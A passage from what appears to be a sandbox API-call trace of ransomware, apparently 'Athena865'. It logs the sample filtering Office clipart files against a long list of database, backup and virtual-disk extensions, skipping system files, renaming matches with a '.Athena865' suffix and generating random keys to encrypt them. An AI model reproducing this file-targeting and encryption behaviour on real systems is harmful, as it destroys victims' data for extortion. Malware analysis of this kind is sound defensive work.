(lpString="jtx") returned 3 [0129.308] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0129.308] lstrlenW (lpString="kdb") returned 3 [0129.309] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0129.309] lstrlenW (lpString="kexi") returned 4 [0129.309] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0129.309] lstrlenW (lpString="kexic") returned 5 [0129.309] lstrcmpiW (lpString1="9.WMF", lpString2="kexic") returned -1 [0129.309] lstrlenW (lpString="kexis") returned 5 [0129.309] lstrcmpiW (lpString1="9.WMF", lpString2="kexis") returned -1 [0129.309] lstrlenW (lpString="lgc") returned 3 [0129.309] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0129.309] lstrlenW (lpString="lwx") returned 3 [0129.309] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0129.309] lstrlenW (lpString="maf") returned 3 [0129.309] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0129.309] lstrlenW (lpString="maq") returned 3 [0129.309] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0129.309] lstrlenW (lpString="mar") returned 3 [0129.309] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0129.309] lstrlenW (lpString="marshal") returned 7 [0129.309] lstrcmpiW (lpString1="669.WMF", lpString2="marshal") returned -1 [0129.309] lstrlenW (lpString="mas") returned 3 [0129.309] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0129.309] lstrlenW (lpString="mav") returned 3 [0129.309] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0129.309] lstrlenW (lpString="maw") returned 3 [0129.309] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0129.309] lstrlenW (lpString="mdbhtml") returned 7 [0129.310] lstrcmpiW (lpString1="669.WMF", lpString2="mdbhtml") returned -1 [0129.310] lstrlenW (lpString="mdn") returned 3 [0129.310] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0129.310] lstrlenW (lpString="mdt") returned 3 [0129.310] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0129.310] lstrlenW (lpString="mfd") returned 3 [0129.310] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0129.310] lstrlenW (lpString="mpd") returned 3 [0129.310] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0129.310] lstrlenW (lpString="mrg") returned 3 [0129.310] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0129.310] lstrlenW (lpString="mud") returned 3 [0129.310] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0129.310] lstrlenW (lpString="mwb") returned 3 [0129.310] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0129.310] lstrlenW (lpString="myd") returned 3 [0129.310] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0129.310] lstrlenW (lpString="ndf") returned 3 [0129.310] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0129.310] lstrlenW (lpString="nnt") returned 3 [0129.310] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0129.310] lstrlenW (lpString="nrmlib") returned 6 [0129.310] lstrcmpiW (lpString1="69.WMF", lpString2="nrmlib") returned -1 [0129.310] lstrlenW (lpString="ns2") returned 3 [0129.310] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0129.310] lstrlenW (lpString="ns3") returned 3 [0129.311] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0129.311] lstrlenW (lpString="ns4") returned 3 [0129.311] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0129.311] lstrlenW (lpString="nsf") returned 3 [0129.311] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0129.311] lstrlenW (lpString="nv") returned 2 [0129.311] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0129.311] lstrlenW (lpString="nv2") returned 3 [0129.311] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0129.311] lstrlenW (lpString="nwdb") returned 4 [0129.311] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0129.311] lstrlenW (lpString="nyf") returned 3 [0129.311] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0129.311] lstrlenW (lpString="odb") returned 3 [0129.311] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.311] lstrlenW (lpString="odb") returned 3 [0129.311] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.311] lstrlenW (lpString="oqy") returned 3 [0129.311] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0129.311] lstrlenW (lpString="ora") returned 3 [0129.311] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0129.311] lstrlenW (lpString="orx") returned 3 [0129.311] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0129.311] lstrlenW (lpString="owc") returned 3 [0129.311] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0129.311] lstrlenW (lpString="p96") returned 3 [0129.312] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0129.312] lstrlenW (lpString="p97") returned 3 [0129.312] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0129.312] lstrlenW (lpString="pan") returned 3 [0129.312] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0129.312] lstrlenW (lpString="pdb") returned 3 [0129.312] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0129.312] lstrlenW (lpString="pdm") returned 3 [0129.312] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0129.312] lstrlenW (lpString="pnz") returned 3 [0129.312] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0129.312] lstrlenW (lpString="qry") returned 3 [0129.312] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0129.312] lstrlenW (lpString="qvd") returned 3 [0129.312] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0129.312] lstrlenW (lpString="rbf") returned 3 [0129.312] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0129.312] lstrlenW (lpString="rctd") returned 4 [0129.312] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0129.312] lstrlenW (lpString="rod") returned 3 [0129.312] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0129.312] lstrlenW (lpString="rodx") returned 4 [0129.312] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0129.312] lstrlenW (lpString="rpd") returned 3 [0129.312] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0129.312] lstrlenW (lpString="rsd") returned 3 [0129.312] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0129.312] lstrlenW (lpString="sas7bdat") returned 8 [0129.313] lstrcmpiW (lpString1="2669.WMF", lpString2="sas7bdat") returned -1 [0129.313] lstrlenW (lpString="sbf") returned 3 [0129.313] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0129.313] lstrlenW (lpString="scx") returned 3 [0129.313] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0129.313] lstrlenW (lpString="sdb") returned 3 [0129.313] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0129.313] lstrlenW (lpString="sdc") returned 3 [0129.313] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0129.313] lstrlenW (lpString="sdf") returned 3 [0129.313] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0129.313] lstrlenW (lpString="sis") returned 3 [0129.313] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0129.313] lstrlenW (lpString="spq") returned 3 [0129.313] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0129.313] lstrlenW (lpString="te") returned 2 [0129.313] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0129.313] lstrlenW (lpString="teacher") returned 7 [0129.313] lstrcmpiW (lpString1="669.WMF", lpString2="teacher") returned -1 [0129.313] lstrlenW (lpString="tmd") returned 3 [0129.313] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0129.313] lstrlenW (lpString="tps") returned 3 [0129.313] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0129.313] lstrlenW (lpString="trc") returned 3 [0129.313] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.313] lstrlenW (lpString="trc") returned 3 [0129.313] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.313] lstrlenW (lpString="trm") returned 3 [0129.314] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0129.314] lstrlenW (lpString="udb") returned 3 [0129.314] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0129.314] lstrlenW (lpString="udl") returned 3 [0129.314] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0129.314] lstrlenW (lpString="usr") returned 3 [0129.314] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0129.314] lstrlenW (lpString="v12") returned 3 [0129.314] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0129.314] lstrlenW (lpString="vis") returned 3 [0129.314] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0129.314] lstrlenW (lpString="vpd") returned 3 [0129.314] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0129.314] lstrlenW (lpString="vvv") returned 3 [0129.314] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0129.314] lstrlenW (lpString="wdb") returned 3 [0129.314] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0129.314] lstrlenW (lpString="wmdb") returned 4 [0129.314] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0129.314] lstrlenW (lpString="wrk") returned 3 [0129.314] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0129.314] lstrlenW (lpString="xdb") returned 3 [0129.314] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0129.314] lstrlenW (lpString="xld") returned 3 [0129.314] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0129.314] lstrlenW (lpString="xmlff") returned 5 [0129.314] lstrcmpiW (lpString1="9.WMF", lpString2="xmlff") returned -1 [0129.315] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.Athena865") returned 73 [0129.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf.athena865"), dwFlags=0x1) returned 1 [0129.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.316] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3926) returned 1 [0129.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.317] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.317] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.317] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.318] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1260, lpName=0x0) returned 0x154 [0129.319] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1260) returned 0x100000 [0129.320] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.321] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.321] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.323] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.323] CloseHandle (hObject=0x154) returned 1 [0129.323] CloseHandle (hObject=0x17c) returned 1 [0129.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.323] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89b5600, ftCreationTime.dwHighDateTime=0x1bec0f4, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89b5600, ftLastWriteTime.dwHighDateTime=0x1bec0f4, nFileSizeHigh=0x0, nFileSizeLow=0xf6a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0278702.WMF", cAlternateFileName="")) returned 1 [0129.323] lstrcmpiW (lpString1="J0278702.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.323] lstrcmpiW (lpString1="J0278702.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.323] lstrcmpiW (lpString1="J0278702.WMF", lpString2=".") returned 1 [0129.324] lstrcmpiW (lpString1="J0278702.WMF", lpString2="..") returned 1 [0129.324] lstrcmpiW (lpString1="J0278702.WMF", lpString2="windows") returned -1 [0129.324] lstrcmpiW (lpString1="J0278702.WMF", lpString2="bootmgr") returned 1 [0129.324] lstrcmpiW (lpString1="J0278702.WMF", lpString2="temp") returned -1 [0129.324] lstrcmpiW (lpString1="J0278702.WMF", lpString2="pagefile.sys") returned -1 [0129.324] lstrcmpiW (lpString1="J0278702.WMF", lpString2="boot") returned 1 [0129.324] lstrcmpiW (lpString1="J0278702.WMF", lpString2="ids.txt") returned 1 [0129.324] lstrcmpiW (lpString1="J0278702.WMF", lpString2="ntuser.dat") returned -1 [0129.324] lstrcmpiW (lpString1="J0278702.WMF", lpString2="perflogs") returned -1 [0129.324] lstrcmpiW (lpString1="J0278702.WMF", lpString2="MSBuild") returned -1 [0129.324] lstrlenW (lpString="J0278702.WMF") returned 12 [0129.324] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0278702.WMF" | out: lpString1="J0278702.WMF") returned="J0278702.WMF" [0129.324] lstrlenW (lpString="J0278702.WMF") returned 12 [0129.324] lstrlenW (lpString="Athena865") returned 9 [0129.324] lstrcmpiW (lpString1="78702.WMF", lpString2="Athena865") returned -1 [0129.324] lstrlenW (lpString=".dll") returned 4 [0129.324] lstrcmpiW (lpString1="J0278702.WMF", lpString2=".dll") returned 1 [0129.324] lstrlenW (lpString=".lnk") returned 4 [0129.324] lstrcmpiW (lpString1="J0278702.WMF", lpString2=".lnk") returned 1 [0129.324] lstrlenW (lpString=".ini") returned 4 [0129.324] lstrcmpiW (lpString1="J0278702.WMF", lpString2=".ini") returned 1 [0129.324] lstrlenW (lpString=".sys") returned 4 [0129.324] lstrcmpiW (lpString1="J0278702.WMF", lpString2=".sys") returned 1 [0129.324] lstrlenW (lpString="J0278702.WMF") returned 12 [0129.324] lstrlenW (lpString="bak") returned 3 [0129.324] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.324] lstrlenW (lpString="ba_") returned 3 [0129.325] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.325] lstrlenW (lpString="dbb") returned 3 [0129.325] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.325] lstrlenW (lpString="vmdk") returned 4 [0129.325] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.325] lstrlenW (lpString="rar") returned 3 [0129.325] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.325] lstrlenW (lpString="zip") returned 3 [0129.325] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.325] lstrlenW (lpString="tgz") returned 3 [0129.325] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.325] lstrlenW (lpString="vbox") returned 4 [0129.325] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.325] lstrlenW (lpString="vdi") returned 3 [0129.325] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.325] lstrlenW (lpString="vhd") returned 3 [0129.325] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.325] lstrlenW (lpString="vhdx") returned 4 [0129.325] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.325] lstrlenW (lpString="avhd") returned 4 [0129.325] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.325] lstrlenW (lpString="db") returned 2 [0129.325] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.325] lstrlenW (lpString="db2") returned 3 [0129.325] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.325] lstrlenW (lpString="db3") returned 3 [0129.325] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.325] lstrlenW (lpString="dbf") returned 3 [0129.326] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.326] lstrlenW (lpString="mdf") returned 3 [0129.326] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.326] lstrlenW (lpString="mdb") returned 3 [0129.326] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.326] lstrlenW (lpString="sql") returned 3 [0129.326] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.326] lstrlenW (lpString="sqlite") returned 6 [0129.326] lstrcmpiW (lpString1="02.WMF", lpString2="sqlite") returned -1 [0129.326] lstrlenW (lpString="sqlite3") returned 7 [0129.326] lstrcmpiW (lpString1="702.WMF", lpString2="sqlite3") returned -1 [0129.326] lstrlenW (lpString="sqlitedb") returned 8 [0129.326] lstrcmpiW (lpString1="8702.WMF", lpString2="sqlitedb") returned -1 [0129.326] lstrlenW (lpString="xml") returned 3 [0129.326] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.326] lstrlenW (lpString="$er") returned 3 [0129.326] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.326] lstrlenW (lpString="4dd") returned 3 [0129.326] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.326] lstrlenW (lpString="4dl") returned 3 [0129.326] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.326] lstrlenW (lpString="^^^") returned 3 [0129.326] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.327] lstrlenW (lpString="abs") returned 3 [0129.327] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.327] lstrlenW (lpString="abx") returned 3 [0129.327] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.327] lstrlenW (lpString="accdb") returned 5 [0129.327] lstrcmpiW (lpString1="2.WMF", lpString2="accdb") returned -1 [0129.327] lstrlenW (lpString="accdc") returned 5 [0129.327] lstrcmpiW (lpString1="2.WMF", lpString2="accdc") returned -1 [0129.327] lstrlenW (lpString="accde") returned 5 [0129.327] lstrcmpiW (lpString1="2.WMF", lpString2="accde") returned -1 [0129.327] lstrlenW (lpString="accdr") returned 5 [0129.327] lstrcmpiW (lpString1="2.WMF", lpString2="accdr") returned -1 [0129.327] lstrlenW (lpString="accdt") returned 5 [0129.327] lstrcmpiW (lpString1="2.WMF", lpString2="accdt") returned -1 [0129.327] lstrlenW (lpString="accdw") returned 5 [0129.327] lstrcmpiW (lpString1="2.WMF", lpString2="accdw") returned -1 [0129.327] lstrlenW (lpString="accft") returned 5 [0129.327] lstrcmpiW (lpString1="2.WMF", lpString2="accft") returned -1 [0129.327] lstrlenW (lpString="adb") returned 3 [0129.327] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.327] lstrlenW (lpString="adb") returned 3 [0129.327] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.327] lstrlenW (lpString="ade") returned 3 [0129.327] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.327] lstrlenW (lpString="adf") returned 3 [0129.327] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.328] lstrlenW (lpString="adn") returned 3 [0129.328] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.328] lstrlenW (lpString="adp") returned 3 [0129.328] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.328] lstrlenW (lpString="alf") returned 3 [0129.328] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.328] lstrlenW (lpString="ask") returned 3 [0129.328] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.328] lstrlenW (lpString="btr") returned 3 [0129.328] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.328] lstrlenW (lpString="cat") returned 3 [0129.328] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.328] lstrlenW (lpString="cdb") returned 3 [0129.328] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.328] lstrlenW (lpString="ckp") returned 3 [0129.328] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.328] lstrlenW (lpString="cma") returned 3 [0129.328] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.328] lstrlenW (lpString="cpd") returned 3 [0129.328] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.328] lstrlenW (lpString="dacpac") returned 6 [0129.328] lstrcmpiW (lpString1="02.WMF", lpString2="dacpac") returned -1 [0129.328] lstrlenW (lpString="dad") returned 3 [0129.328] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.328] lstrlenW (lpString="dadiagrams") returned 10 [0129.328] lstrcmpiW (lpString1="278702.WMF", lpString2="dadiagrams") returned -1 [0129.328] lstrlenW (lpString="daschema") returned 8 [0129.328] lstrcmpiW (lpString1="8702.WMF", lpString2="daschema") returned -1 [0129.329] lstrlenW (lpString="db-journal") returned 10 [0129.329] lstrcmpiW (lpString1="278702.WMF", lpString2="db-journal") returned -1 [0129.329] lstrlenW (lpString="db-shm") returned 6 [0129.329] lstrcmpiW (lpString1="02.WMF", lpString2="db-shm") returned -1 [0129.329] lstrlenW (lpString="db-wal") returned 6 [0129.329] lstrcmpiW (lpString1="02.WMF", lpString2="db-wal") returned -1 [0129.329] lstrlenW (lpString="dbc") returned 3 [0129.329] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.329] lstrlenW (lpString="dbs") returned 3 [0129.329] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.329] lstrlenW (lpString="dbt") returned 3 [0129.329] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.329] lstrlenW (lpString="dbv") returned 3 [0129.329] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.329] lstrlenW (lpString="dbx") returned 3 [0129.329] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.329] lstrlenW (lpString="dcb") returned 3 [0129.329] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.329] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.329] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.Athena865") returned 73 [0129.330] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf.athena865"), dwFlags=0x1) returned 1 [0129.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.331] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3946) returned 1 [0129.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.331] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.331] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.332] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.332] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.332] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1270, lpName=0x0) returned 0x154 [0129.334] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1270) returned 0x100000 [0129.335] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.335] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.335] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.336] HeapFree (in: hHeap=0x4f0000, 